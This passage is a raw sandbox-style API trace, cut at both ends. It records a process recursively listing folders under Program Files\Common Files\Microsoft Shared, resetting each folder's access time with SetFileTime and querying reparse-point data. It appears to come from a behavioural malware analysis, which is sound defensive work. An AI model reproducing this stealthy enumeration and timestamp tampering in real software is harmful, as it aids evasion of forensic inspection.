Flags=0x8, Size=0x100) returned 0x8f9ac8 [0235.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0235.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905f90 [0235.373] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0235.373] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.373] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0235.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0235.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0235.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0235.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0235.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0235.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0235.374] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0235.374] GetLastError () returned 0x12 [0235.374] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0235.374] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0235.374] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.374] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0235.374] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0235.374] GetLastError () returned 0x12 [0235.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x905f90) returned 1 [0235.374] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0235.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0235.374] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0235.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0235.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.375] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0235.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.375] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0235.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.375] NtClose (Handle=0x1bc) returned 0x0 [0235.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0235.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0235.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0235.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.375] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0235.375] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.375] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0235.375] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0235.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.376] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0235.376] GetLastError () returned 0x12 [0235.376] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0235.376] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.376] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.376] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0235.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.379] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.379] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.379] NtClose (Handle=0x1bc) returned 0x0 [0235.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.379] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.379] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.379] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0235.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0235.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0235.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904978 [0235.380] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905f90 [0235.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0235.380] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0235.380] GetLastError () returned 0x12 [0235.380] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.380] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.380] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.380] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0235.380] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0235.380] GetLastError () returned 0x12 [0235.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.380] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0235.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.380] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0235.380] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0235.380] GetLastError () returned 0x12 [0235.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.380] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0235.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0235.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0235.381] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0235.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0235.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0235.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0235.381] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0235.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906fe8 [0235.381] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906fe8, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x906fe8, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0235.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906fe8) returned 1 [0235.381] NtClose (Handle=0x1b8) returned 0x0 [0235.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0235.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0235.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0235.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.381] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0235.452] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.452] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0235.452] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0235.452] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.452] RtlFreeHeap 